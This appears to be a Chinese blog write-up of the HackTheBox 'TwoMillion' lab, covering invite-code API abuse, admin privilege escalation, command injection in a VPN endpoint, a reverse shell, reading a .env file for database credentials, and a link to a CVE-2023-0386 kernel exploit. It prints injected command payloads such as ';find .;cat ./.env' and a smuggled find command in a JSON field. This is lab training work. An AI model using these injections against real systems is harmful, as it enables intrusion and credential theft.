HTB TwoMilion

先扫一下端口,22和80开放

进浏览器页面看一下,这一步无法直接访问,因为可能htb没有将2million.htb注册到公网DNS服务器

需要

复制代码
sudo echo "10.10.11.221 2million.htb" >> /etc/hosts

卡了半天总算进来了

注册用户在invite页面需要输入邀请码,看网页源码,在/js/inviteapi.min.js中发现一段混淆的js代码,丢给ai解混淆

复制代码
var verifyInviteCode = function(code) {
    var formData = { "code": code };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function(response) {
            console.log(response);
        },
        error: function(response) {
            console.log(response);
        }
    });
};

var makeInviteCode = function() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function(response) {
            console.log(response);
        },
        error: function(response) {
            console.log(response);
        }
    });
};

得到两个函数,一个向服务器验证邀请码,一个制造邀请码

试一下制造邀请码,发现

rot13解密新端点,

复制代码
curl -X POST http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"MDBaQ1QtSTJORUItVkZVWjYtQlVaSjI=","format":"encoded"}}

访问拿到base64加密过的邀请码

注册一个用户进来

进来的页面点按钮要么没反应要么没信息,目录爆破一下,先装个dirsearch

复制代码
sudo su
apt-get install dirsearch

出来一个access路径没见过,进去可以下载ovpn文件,下载方式跟之前生成验证码的方式很像,都是通过api生成

因为有了登录,所以我们看一下可用的api有哪些

接下来可能需要这些api完成提权操作

我们向update user settings这里抓个包看看,根据它的需要补齐json数据

到这里应该就完成提权了

测试一下admin的几个api,发现vpn这个可以命令注入

复制代码
/home/admin/user.txt: Permission denied

有flag,但是没权限

接下来用kali接收反弹的shell

复制代码
└─# ip addr show tun0
6: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.16.35/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:4::1021/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::70fb:efb2:5610:8fa5/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

但是环境是php,用find找找环境变量.env在哪

复制代码
;find .;cat ./.env

发现数据库的登录名和密码

复制代码
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

kali新开一个终端进行ssh登录,拿到admin用户

看看suid

复制代码
{
"username":"123 || find / -perm -u=s -type f 2>/dev/null || "
}

发现CVE,大概率是要用这个提权了

https://github.com/Fanxiaoyao66/CVE-2023-0386

虽然上面有现成的,但是使用时一直无法正常提权(好吧原来是www-data不能正常用,admin可以

突然意识到,这个靶机是共享的,所以其实tmp下的cve利用是其他人上传的

相关推荐
世界尽头与你1 天前
Android Root 检测原理
android·安全·网络安全·渗透测试
世界尽头与你1 天前
iOS 越狱检测原理
安全·网络安全·ios·信息安全·渗透测试
白帽小阳4 天前
学术论文发表渠道科普,LNCS 系列会议的特点与检索情况分析
web安全·渗透测试·网络安全比赛·ctf备赛·lncs·ei 检索,学术论文,会议发表·计算机科学,宏观认知,学习路径,算法基础
数据知道7 天前
网络安全职业规划:从入门到高级安全工程师的路径图
安全·web安全·网络安全·渗透测试·职业规划
Sagittarius_A*7 天前
Web 渗透实战:服务器系统识别、端口与中间件全量探测
服务器·网络安全·中间件·渗透测试
xy34538 天前
wireshark 如何捕获信息
网络·测试工具·渗透测试·wireshark
Sagittarius_A*8 天前
Web 渗透信息收集实战:站点指纹识别与目录扫描
网络安全·渗透测试·kali
xy345312 天前
Wireshark捕获过滤器——语法元素详解
网络·测试工具·渗透测试·wireshark
夏天测1 个月前
业务逻辑漏洞实战:篡改响应包绕过登录,直入后台管理系统
渗透测试·状态模式·业务逻辑漏洞·web 安全·响应包篡改
Eason_LYC1 个月前
【GetShell 实战】CVE-2026-34486 Tomcat 加密拦截器绕过:从漏洞验证到反弹 Shell 全流程
java·渗透测试·tomcat·java反序列化·rce·远程代码执行漏洞·cve-2026-34486